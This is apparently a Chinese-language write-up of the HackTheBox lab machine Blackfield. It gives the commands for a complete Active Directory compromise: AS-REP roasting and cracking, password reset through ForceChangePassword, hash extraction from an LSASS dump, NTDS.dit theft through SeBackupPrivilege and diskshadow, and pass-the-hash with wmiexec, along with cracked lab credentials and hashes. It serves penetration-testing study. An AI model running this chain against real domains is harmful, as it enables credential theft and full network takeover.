靶机ip:10.10.10.192

知识点

  • AS-REP Roasting
  • ForceChangePassword权限滥用实现横向移动
  • 利用Lsass内存捕获文件提取用户hash
  • 利用SeBackupPrivilege权限进行NTDS.dit卷影拷贝实现权限提升
  • 使用wmiexec进行PTH

信息收集

nmap扫描

nmap -sS -sV -sC 10.10.10.192

image-20240709112312857

DNS服务,kerberos服务,LDAP服务,SMB服务,域名BLACKFIELD.local

SMB

直接尝试一手匿名登录

smbclient -L \\10.10.10.192

image-20240710104224727

发现得到一些共享资源,尝试获取profiles$资源

smbclient //10.10.10.192/profiles$

image-20240710111356614

发现一些使用者的名称,将每条带名字的数据保存到users.txt中,写个脚本将其保存到user.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re

with open('users.txt', 'r') as file:
data = file.read()

# 使用正则表达式提取姓名部分
pattern = re.compile(r'^\s*(\S+)', re.MULTILINE)
names = pattern.findall(data)

# 将提取的姓名保存到新文件
with open('user.txt', 'w') as output_file:
for name in names:
output_file.write(name + '\n')

print("提取的数据已保存到 'user.txt' 文件中。")

这样就获得了一个基本的用户列表

LDAP

利用ldapsearch搜索

ldapsearch -H ldap://10.10.10.192:389 -x -s base -b "" namingcontexts

image-20240710113254757

得到两个域名

DomainDnsZones.blackfield.local

ForestDnsZones.blackfield.local

AS-REP Roasting

拿到了用户名,这里又暴露了kerberos端口88。尝试一下AS-REP Roasting攻击

python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py BLACKFIELD.local/ -usersfile user.txt -dc-ip 10.10.10.192

image-20240710114411468

拿到一个support用户的hash

1
$krb5asrep$23$support@BLACKFIELD.LOCAL:8e8fcfa24b77dd8ed4e22771a99640c3$937ed6b20ebfcdbc0a07e975d271f8a18d88e0dfc6b774da9184de540c6847c9adeb2b5615a2f99e06235064c420c621ae3b2bc0cf78ebe3047b7004d1dcfac74bc582fc68c3fa0cf0244920cfceab53cee3e91fc049bbef7efa1584041389ae19d317ab6bfb5c0df0eb4703fbe66367f12999d756d9400e971ab0b6d8993c267a606359303d2f4dfc54ae40b819c613e8e6281a91cec5d22aef09304a696cb9b43a4555ce0dbfe860a16bb83ea715eceabee93327ad337799f0f5153e91e924df1624e3458201312cd6a4bc1d4999dd9b0cc2a4ea3406f78836240ef70c1982911fd13e8f45c3c4f36c28781133df608f33d801

使用john进行破解

将上述票据保存为hash,使用john爆破hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt

john hash -show

image-20240710114626394

拿到用户名密码:support : #00^BlackKnight

但是evil-winrm登陆不了,无法通过BloodHound.exe进行信息收集,但是可以使用Python版的BloodHound信息收集,实现了不需要登录即可完成信息收集的功能

AD域渗透

Python版Bloodhound-信息搜集

使用之前获得的用户和密码,通过bloodhound进行信息搜集

bloodhound-python -c all -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192

image-20240710150152607

image-20240710150201795

得到一些文件,导入bloodhound分析

image-20240710152321163

点击First Degree Object Control可以发现support用户与audit2020用户有ForceChangePassword关系

顾名思义,就是support用户可以修改audit2020用户的密码

ForceChangePassword权限滥用实现横向移动

尝试利用rpcclient修改audit2020用户的密码

rpcclient -U support --password='#00^BlackKnight' //10.10.10.192

image-20240710153321021

修改密码

setuserinfo2 audit2020 23 'test'

其中23表示用户信息级别为设置用户密码的级别

当设置的新密码与密码策略不匹配时会返回,设置一个复杂度比较高的密码

image-20240710154019443

setuserinfo2 audit2020 23 'abc123!'

image-20240710154642384

利用crackmapexec验证一下

crackmapexec smb 10.10.10.192 -u audit2020 -p 'abc123!'

image-20240710154815763

尝试通过audit2020用户去获得更多smb共享目录

smbmap -H 10.10.10.192 -u audit2020 -p 'abc123!'

image-20240710155250411

发现获得了forensic目录的访问权限

smbclient -U audit2020%'abc123!' //10.10.10.192/forensic

image-20240710170745364

\commands_output\目录下找到domain_admins.txt

image-20240710170913100

将其get下来查看

image-20240710171000020

发现疑似admin密码

利用Lsass内存捕获文件提取用户hash

\memory_analysis\目录下发现 lsass.zip

image-20240710192247820

该文件可能是对LSASS进程进行了内存捕获的结果,LSASSWindows中处理身份验证和安全策略的系统服务。其内存空间中保存着各种身份验证的信息。我们将该文件下载并解压。

smbclient -U audit2020%'abc123!' //10.10.10.192/forensic -t 1000

image-20240710203530888

image-20240711113903638

得到一个lsass.DMP文件

使用mimikatz工具从内存转储中尝试提取用户的hash,在Linux中使用Python版的Mimikatz——pypykatz

pypykatz lsa minidump lsass.DMP

image-20240711140816038

找到svc_backup用户的hash9658d1d1dcd9250115e2205d9f48400d

先尝试利用svc_backup用户名及其hash远程登录

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

image-20240711143614075

Desktop找到user.txt

image-20240711145956639

利用SeBackupPrivilege权限进行NTDS.dit卷影拷贝实现权限提升

image-20240711164407072

在之前的bloodhound信息搜集中搜索svc_backup,点击First Degree Group Memberships发现该用户属于backup_operators组的成员

拥有这个组权限的人可以通过SEBackupPrivilege 权限进行提权,执行如下命令,确认是否具有该权限:

whoami /priv

image-20240711170123369

发现我们有SeBackupPrivilege 权限,就可以通过使用签名的二进制文件创建 NTDS.dit 的卷影副本来完成diskshadow

首先上传并导入SeBackupPrivilege提供的两个dll文件

1
2
3
4
5
6
7
upload /root/htb/Machines/Blackfield/SeBackupPrivilegeCmdLets.dll 

upload /root/htb/Machines/Blackfield/SeBackupPrivilegeUtils.dll

Import-Module .\SeBackupPrivilegeCmdLets.dll

Import-Module .\SeBackupPrivilegeUtils.dll

image-20240711202221083

接着写入文件并通过upload上传

参考链接

但是这里要加一行来指定元数据文件的路径

1
2
3
4
5
set context persistent nowriters#
add volume c: alias new1#
set metadata c:\windows\system32\spool\drivers\color\example.cab # 添加的部分
create#
expose %new1% z:#

image-20240711202615153

执行diskshadow 并使用脚本文件作为其输入

cmd /c diskshadow /s cmd.txt

image-20240711203321708

将备份ntds.dit文件移动到当前文件夹

1
robocopy /b z:\windows\ntds\ .\ NTDS.dit

image-20240711204448694

image-20240711204522630

从注册表中获取system.hive文件

reg save HKLM\SYSTEM .\system.hive

image-20240711205050633

可以看到,现在已经获得了NTDS.ditsystem.hive,将这两个文件下载到本地

1
2
download ntds.dit
download system.hive

使用secretsdump.py 解析 NTDS.dit

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system system.hive local

image-20240712141859105

拿到administratorhash

使用wmiexec进行PTH

通过wmiexec.py通过hash来登录到管理员账户

python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee blackfield.LOCAL/administrator@10.10.10.192

image-20240712142125899

现在已经是管理员权限了

image-20240712142625352

最后在AdministratorDesktop上找到root.txt以及notes.txt